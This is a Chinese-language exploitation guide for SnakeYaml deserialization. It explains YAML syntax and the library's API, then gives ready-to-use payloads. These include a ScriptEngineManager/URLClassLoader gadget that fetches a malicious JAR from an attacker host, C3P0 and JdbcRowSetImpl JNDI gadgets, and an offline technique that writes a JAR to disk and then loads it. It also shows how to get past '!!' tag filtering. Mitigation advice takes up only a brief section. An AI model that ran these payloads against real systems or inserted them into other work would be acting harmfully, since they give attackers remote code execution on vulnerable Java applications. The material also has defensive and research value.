SnakeYaml反序列化
字数 1611 2025-08-26 22:11:15

SnakeYaml反序列化漏洞分析与利用指南

1. YAML基础语法

1.1 YAML基本特性

  • 大小写敏感:YAML对大小写敏感
  • 缩进表示层级:使用空格缩进表示层级关系(不能使用TAB)
  • 数据结构:支持三种基本数据结构

1.2 YAML数据结构

对象

使用冒号表示键值对,冒号后需加空格:

key: value

层级关系表示:

key:
  child-key: value
  child-key2: value2

数组

使用短横线加空格表示数组项:

hobby:
  - Java
  - LOL

常量类型

YAML支持多种常量类型:

boolean:
  - TRUE  # true,True都可以
  - FALSE # false,False都可以
float:
  - 3.14
  - 6.8523015e+5 # 科学计数法
int:
  - 123
  - 0b1010_0111_0100_1010_1110 # 二进制表示
null:
  nodeName: 'node'
  parent: ~  # 使用~表示null
string:
  - 哈哈
  - 'Hello world' # 特殊字符使用引号包裹
date:
  - 2022-07-28 # ISO 8601格式
datetime:
  - 2022-07-28T15:02:31+08:00 # ISO 8601格式

2. SnakeYaml简介

2.1 基本功能

SnakeYaml是Java的YAML解析库,支持:

  • Java对象的序列化/反序列化
  • YAML与Java对象的相互转换

2.2 环境搭建

Maven依赖:

<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.27</version>
</dependency>

2.3 序列化方法

  • String dump(Object data):将对象序列化为YAML字符串
  • void dump(Object data, Writer output):将对象序列化为YAML流
  • String dumpAll(Iterator<? extends Object> data):序列化一系列对象
  • String dumpAsMap(Object data):将对象序列化为YAML字符串

2.4 反序列化方法

  • <T> T load(InputStream io):解析流中的YAML文档
  • <T> T load(String yaml):解析字符串中的YAML文档
  • <T> T loadAs(String yaml, Class<T> type):指定类型反序列化
  • Iterable<Object> loadAll(String yaml):解析所有YAML文档

3. 反序列化漏洞分析

3.1 漏洞原理

  • 通过!!+全类名指定反序列化的类
  • 反序列化过程中会实例化该类
  • 可利用SPI机制通过URLClassLoader或JNDI加载恶意类
  • 影响版本:全版本

3.2 漏洞利用条件

  • 反序列化内容可控
  • 存在可利用的Gadget链

3.3 SPI机制

SPI(Service Provider Interface)是一种服务发现机制:

  1. META-INF/services下创建以服务接口命名的文件
  2. 文件内容为实现类的全类名
  3. 程序通过java.util.ServiceLoder动态装载实现模块

3.4 漏洞复现步骤

  1. 准备恶意JAR包(使用yaml-payload
  2. 启动Web服务托管JAR
  3. 构造恶意YAML:
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/yaml-payload.jar"]
  ]]
]
  1. 触发反序列化

4. 漏洞利用方式

4.1 ScriptEngineManager利用

String str = "!!javax.script.ScriptEngineManager [\n" +
             " !!java.net.URLClassLoader [[\n" +
             " !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +
             " ]]\n" +
             "]";
Yaml yaml = new Yaml();
yaml.load(str);

4.2 C3P0 Gadget利用

JNDI注入

String str = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
             "jndiName: rmi://127.0.0.1:1099/EXP\n" +
             "loginTimeout: 0";
Yaml yaml = new Yaml();
yaml.load(str);

Hex序列化

String HexString = "aced00057372..."; // 序列化后的hex字符串
String str = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
             "userOverridesAsString: HexAsciiSerializedMap:" + HexString + ';';
Yaml yaml = new Yaml();
yaml.load(str);

4.3 JdbcRowSetImpl利用

String str = "!!com.sun.rowset.JdbcRowSetImpl\n" +
             "dataSourceName: rmi://127.0.0.1:1099/EXP\n" +
             "autoCommit: true";
Yaml yaml = new Yaml();
yaml.load(str);

4.4 不出网利用(文件写入)

  1. 生成恶意YAML:
String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"./yaml.jar\"],false],!!java.util.zip.Inflater { input: !!binary " + base64str + " },1048576]]";
  1. 加载本地JAR:
String context = "!!javax.script.ScriptEngineManager [\n" +
                " !!java.net.URLClassLoader [[\n" +
                " !!java.net.URL [\"file:./yaml.jar\"]\n" +
                " ]]\n" +
                "]";
Yaml yaml = new Yaml();
yaml.load(context);

5. 漏洞修复方案

5.1 安全配置

使用SafeConstructor进行过滤:

Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);

5.2 其他防护措施

  • 升级到最新版本
  • 对反序列化内容进行严格过滤
  • 限制反序列化的类范围

6. 技术细节补充

6.1 绕过!!过滤

!!被过滤时,可以使用tag标识绕过:

tag:yaml.org,2002:javax.script.ScriptEngineManager [...]

6.2 load与loadAs区别

  • load()默认使用Object.class作为类型
  • loadAs()可指定反序列化类型,但若指定类中存在Object类型属性,仍可触发漏洞

6.3 反序列化流程

  1. 解析YAML内容为Node对象
  2. 根据tag获取对应的Class
  3. 通过反射实例化对象
  4. 调用setter方法设置属性
  5. 对于SPI类,会触发服务加载机制

7. 总结

SnakeYaml反序列化漏洞与Fastjson漏洞类似,都是通过指定全类名调用setter方法实现攻击。利用该漏洞需要:

  1. 构造合适的Gadget链
  2. 控制反序列化内容
  3. 利用SPI或JNDI等机制加载恶意类

防护措施应以限制反序列化类为主,结合输入过滤和安全配置,确保系统安全。

SnakeYaml反序列化漏洞分析与利用指南 1. YAML基础语法 1.1 YAML基本特性 大小写敏感 :YAML对大小写敏感 缩进表示层级 :使用空格缩进表示层级关系(不能使用TAB) 数据结构 :支持三种基本数据结构 1.2 YAML数据结构 对象 使用冒号表示键值对,冒号后需加空格: 层级关系表示: 数组 使用短横线加空格表示数组项: 常量类型 YAML支持多种常量类型: 2. SnakeYaml简介 2.1 基本功能 SnakeYaml是Java的YAML解析库,支持: Java对象的序列化/反序列化 YAML与Java对象的相互转换 2.2 环境搭建 Maven依赖: 2.3 序列化方法 String dump(Object data) :将对象序列化为YAML字符串 void dump(Object data, Writer output) :将对象序列化为YAML流 String dumpAll(Iterator<? extends Object> data) :序列化一系列对象 String dumpAsMap(Object data) :将对象序列化为YAML字符串 2.4 反序列化方法 <T> T load(InputStream io) :解析流中的YAML文档 <T> T load(String yaml) :解析字符串中的YAML文档 <T> T loadAs(String yaml, Class<T> type) :指定类型反序列化 Iterable<Object> loadAll(String yaml) :解析所有YAML文档 3. 反序列化漏洞分析 3.1 漏洞原理 通过 !! +全类名指定反序列化的类 反序列化过程中会实例化该类 可利用SPI机制通过URLClassLoader或JNDI加载恶意类 影响版本 :全版本 3.2 漏洞利用条件 反序列化内容可控 存在可利用的Gadget链 3.3 SPI机制 SPI(Service Provider Interface)是一种服务发现机制: 在 META-INF/services 下创建以服务接口命名的文件 文件内容为实现类的全类名 程序通过 java.util.ServiceLoder 动态装载实现模块 3.4 漏洞复现步骤 准备恶意JAR包(使用 yaml-payload ) 启动Web服务托管JAR 构造恶意YAML: 触发反序列化 4. 漏洞利用方式 4.1 ScriptEngineManager利用 4.2 C3P0 Gadget利用 JNDI注入 Hex序列化 4.3 JdbcRowSetImpl利用 4.4 不出网利用(文件写入) 生成恶意YAML: 加载本地JAR: 5. 漏洞修复方案 5.1 安全配置 使用 SafeConstructor 进行过滤: 5.2 其他防护措施 升级到最新版本 对反序列化内容进行严格过滤 限制反序列化的类范围 6. 技术细节补充 6.1 绕过 !! 过滤 当 !! 被过滤时,可以使用tag标识绕过: 6.2 load与loadAs区别 load() 默认使用 Object.class 作为类型 loadAs() 可指定反序列化类型,但若指定类中存在Object类型属性,仍可触发漏洞 6.3 反序列化流程 解析YAML内容为Node对象 根据tag获取对应的Class 通过反射实例化对象 调用setter方法设置属性 对于SPI类,会触发服务加载机制 7. 总结 SnakeYaml反序列化漏洞与Fastjson漏洞类似,都是通过指定全类名调用setter方法实现攻击。利用该漏洞需要: 构造合适的Gadget链 控制反序列化内容 利用SPI或JNDI等机制加载恶意类 防护措施应以限制反序列化类为主,结合输入过滤和安全配置,确保系统安全。